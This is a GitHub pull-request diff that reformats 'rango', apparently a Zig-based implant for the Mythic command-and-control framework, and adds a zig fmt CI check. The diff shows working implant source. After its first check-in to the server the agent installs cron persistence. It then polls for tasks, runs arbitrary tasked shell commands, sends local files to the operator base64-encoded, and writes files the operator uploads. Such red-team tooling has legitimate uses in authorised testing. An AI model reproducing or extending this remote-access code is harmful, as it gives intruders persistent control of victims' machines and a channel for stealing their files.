Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions .github/workflows/fmt.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
name: Zig Format Check

on:
pull_request:
branches: [ "main" ]

jobs:
zig-fmt:
runs-on: ubuntu-latest

steps:
- name: Checkout repo
uses: actions/checkout@v3

- name: Install Zig
uses: mlugg/setup-zig@v2
with:
version: 0.15.1

- name: Run zig fmt
run: |
zig fmt --check Payload_Type/rango/rango/agent_code/src
zig fmt --check Payload_Type/rango/rango/agent_code/tests
61 changes: 29 additions & 32 deletions Payload_Type/rango/rango/agent_code/src/agent.zig
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ const PersistUtils = utils.PersistUtils;

pub const MythicAgent = struct {
const Self = @This();

allocator: Allocator,
config: AgentConfig,
uuid: []const u8,
Expand All @@ -34,21 +34,21 @@ pub const MythicAgent = struct {
command_executor: CommandExecutor,
system_info: SystemInfo,
crypto_utils: CryptoUtils,

aes_key: [32]u8, //For future use watch this space
payload_uuid: []const u8,

tasks: std.ArrayListUnmanaged(MythicTask),
pending_responses: std.ArrayListUnmanaged(MythicResponse),
is_running: bool,
last_checkin: i64,

pub fn init(allocator: Allocator, agent_config: types.AgentConfig) !Self {
var crypto_utils = CryptoUtils.init(allocator);
const session_id = try crypto_utils.generateSessionId();//session_id might be useful later. Not implemented yet

const session_id = try crypto_utils.generateSessionId(); //session_id might be useful later. Not implemented yet
const aes_key = CryptoUtils.generateAESKey();

return Self{
.allocator = allocator,
.config = agent_config,
Expand All @@ -66,26 +66,26 @@ pub const MythicAgent = struct {
.last_checkin = 0,
};
}

pub fn deinit(self: *Self) void {
self.allocator.free(self.session_id);
self.tasks.deinit(self.allocator);
self.pending_responses.deinit(self.allocator);
self.network_client.deinit();
}

pub fn run(self: *Self) !void {
self.is_running = true;

try self.checkin();
// Install persistence after first check-in
const exepath = try std.fs.selfExePathAlloc(self.allocator);
defer self.allocator.free(exepath);

PersistUtils.install_cron(exepath, self.allocator) catch |err| {
std.debug.print("{}", .{err});
std.debug.print("{}", .{err});
};

while (self.is_running) {
if (self.config.kill_date) |kill_date| {
if (TimeUtils.isKillDateReached(kill_date)) {
Expand Down Expand Up @@ -116,9 +116,8 @@ pub const MythicAgent = struct {

self.sleep();
}

}

fn checkin(self: *Self) !void {
const user = try self.system_info.getCurrentUser();
defer self.allocator.free(user);
Expand Down Expand Up @@ -160,7 +159,7 @@ pub const MythicAgent = struct {
defer combined.deinit(self.allocator);
try combined.appendSlice(self.allocator, self.payload_uuid);
try combined.appendSlice(self.allocator, json_bytes);

const encoder = base64.standard.Encoder;
const b64_len = encoder.calcSize(combined.items.len);
const b64_data = try self.allocator.alloc(u8, b64_len);
Expand All @@ -170,7 +169,6 @@ pub const MythicAgent = struct {
const response = try self.network_client.sendRequest("data", b64_data);
defer self.allocator.free(response);


const decoded_len = base64.standard.Decoder.calcSizeForSlice(response) catch {
print("", .{});
return error.InvalidBase64;
Expand Down Expand Up @@ -199,13 +197,13 @@ pub const MythicAgent = struct {

self.last_checkin = TimeUtils.getCurrentTimestamp();
}

fn getTasks(self: *Self) !void {
const get_tasking_data = .{
.action = "get_tasking",
.tasking_size = 1,
};

var json_writer = std.Io.Writer.Allocating.init(self.allocator);
defer json_writer.deinit();

Expand All @@ -228,7 +226,6 @@ pub const MythicAgent = struct {

const response = try self.network_client.sendRequest("data", b64_data);
defer self.allocator.free(response);


const decoded_len = base64.standard.Decoder.calcSizeForSlice(response) catch {
print("", .{});
Expand All @@ -241,7 +238,7 @@ pub const MythicAgent = struct {
print("", .{});
return error.InvalidBase64;
};

if (response.len < 36) {
return error.InvalidResponse;
}
Expand All @@ -252,43 +249,43 @@ pub const MythicAgent = struct {
parameters: json.Value,
};
const json_response = decoded_response[36..];

const parsed = json.parseFromSlice(struct { action: []const u8, tasks: []Task }, self.allocator, json_response, .{}) catch |err| {
print("{}", .{err});
return err;
};
defer parsed.deinit();

try self.parseTaskResponse(json_response);
}

fn parseTaskResponse(self: *Self, response: []const u8) !void {
const parsed = json.parseFromSlice(json.Value, self.allocator, response, .{}) catch return;
defer parsed.deinit();

if (parsed.value.object.get("tasks")) |tasks_value| {
if (tasks_value.array.items.len > 0) {
for (tasks_value.array.items) |task_value| {
const task_obj = task_value.object;

const task = MythicTask{
.id = try self.allocator.dupe(u8, task_obj.get("id").?.string),
.command = try self.allocator.dupe(u8, task_obj.get("command").?.string),
.parameters = try self.allocator.dupe(u8, task_obj.get("parameters").?.string),
.timestamp = try std.fmt.allocPrint(self.allocator, "{d}", .{task_obj.get("timestamp").?.integer}),
.timestamp = try std.fmt.allocPrint(self.allocator, "{d}", .{task_obj.get("timestamp").?.integer}),
};

try self.tasks.append(self.allocator, task);
}
}
}
}

fn processTasks(self: *Self) !void {
for (self.tasks.items) |*task| {
if (task.status == .submitted) {
task.status = .processing;

if (std.mem.eql(u8, task.command, "exit")) {
self.is_running = false;
const exit_response = MythicResponse{
Expand All @@ -301,7 +298,7 @@ pub const MythicAgent = struct {
task.status = .completed;
continue;
}

const result = self.command_executor.executeTask(task.*) catch |err| {
const error_response = MythicResponse{
.task_id = task.id,
Expand All @@ -313,13 +310,13 @@ pub const MythicAgent = struct {
task.status = .erroragent;
continue;
};

try self.pending_responses.append(self.allocator, result);
task.status = .completed;
}
}
}

fn sendResponses(self: *Self) !void {
if (self.pending_responses.items.len == 0) return;

Expand Down
35 changes: 17 additions & 18 deletions Payload_Type/rango/rango/agent_code/src/commands.zig
Original file line number Diff line number Diff line change
Expand Up @@ -11,13 +11,13 @@ const MythicResponse = types.MythicResponse;

pub const CommandExecutor = struct {
allocator: Allocator,

pub fn init(allocator: Allocator) CommandExecutor {
return CommandExecutor{
.allocator = allocator,
};
}

pub fn executeTask(self: *CommandExecutor, task: MythicTask) !MythicResponse {
if (std.mem.eql(u8, task.command, "shell")) {
return try self.executeShell(task);
Expand All @@ -40,7 +40,7 @@ pub const CommandExecutor = struct {
};
}
}

fn executeShell(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const ShellParameters = struct {
command: []const u8,
Expand All @@ -57,7 +57,7 @@ pub const CommandExecutor = struct {
};
}
const shell_path = if (builtin.os.tag == .windows) "cmd.exe" else "/bin/sh";
const shell_args = if (builtin.os.tag == .windows) "/c" else "-c";
const shell_args = if (builtin.os.tag == .windows) "/c" else "-c";
const result = std.process.Child.run(.{
.allocator = self.allocator,
.argv = &[_][]const u8{ shell_path, shell_args, command },
Expand All @@ -69,20 +69,20 @@ pub const CommandExecutor = struct {
.status = "error",
};
};

defer self.allocator.free(result.stdout);
defer self.allocator.free(result.stderr);

const output = if (result.stdout.len > 0) result.stdout else result.stderr;

return MythicResponse{
.task_id = task.id,
.user_output = try self.allocator.dupe(u8, output),
.completed = true,
.status = "completed",
};
}

fn executePwd(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const cwd = std.process.getCwdAlloc(self.allocator) catch |err| {
return MythicResponse{
Expand All @@ -92,15 +92,15 @@ pub const CommandExecutor = struct {
.status = "error",
};
};

return MythicResponse{
.task_id = task.id,
.user_output = cwd,
.completed = true,
.status = "completed",
};
}

fn executeLs(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const Parameters = struct {
path: []const u8 = ".",
Expand Down Expand Up @@ -147,7 +147,7 @@ pub const CommandExecutor = struct {
.status = "error",
};
}

const content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 1024 * 1024) catch |err| {
return MythicResponse{
.task_id = task.id,
Expand All @@ -156,15 +156,15 @@ pub const CommandExecutor = struct {
.status = "error",
};
};

return MythicResponse{
.task_id = task.id,
.user_output = content,
.completed = true,
.status = "completed",
};
}

fn executeDownload(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const file_content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 10 * 1024 * 1024) catch |err| {
return MythicResponse{
Expand All @@ -175,12 +175,12 @@ pub const CommandExecutor = struct {
};
};
defer self.allocator.free(file_content);

const encoder = base64.standard.Encoder;
const encoded_size = encoder.calcSize(file_content.len);
const encoded_content = try self.allocator.alloc(u8, encoded_size);
_ = encoder.encode(encoded_content, file_content);

return MythicResponse{
.task_id = task.id,
.download = types.DownloadInfo{
Expand All @@ -197,7 +197,6 @@ pub const CommandExecutor = struct {
};
}


fn executeUpload(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const parsed = json.parseFromSlice(json.Value, self.allocator, task.parameters, .{}) catch {
return MythicResponse{
Expand All @@ -208,7 +207,7 @@ pub const CommandExecutor = struct {
};
};
defer parsed.deinit();

const remote_path = parsed.value.object.get("remote_path").?.string;
const b64_content = parsed.value.object.get("content").?.string;
const decoded_len = base64.standard.Decoder.calcSizeForSlice(b64_content) catch {
Expand All @@ -227,7 +226,7 @@ pub const CommandExecutor = struct {
defer file.close();
if (std.mem.startsWith(u8, decoded_content, "b'") and std.mem.endsWith(u8, decoded_content, "'")) {
// Remove the b'' prefix if present. Very hacky and hould be improved. Sould write an unescape function later.
const content = decoded_content[2..decoded_content.len - 1];
const content = decoded_content[2 .. decoded_content.len - 1];
try file.writeAll(content);
} else {
try file.writeAll(decoded_content);
Expand Down
7 changes: 3 additions & 4 deletions Payload_Type/rango/rango/agent_code/src/main.zig
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,11 @@ pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();

const agent_config = config.agentConfig;

var mythic_agent = try MythicAgent.init(allocator, agent_config);
defer mythic_agent.deinit();

try mythic_agent.run();
}

Loading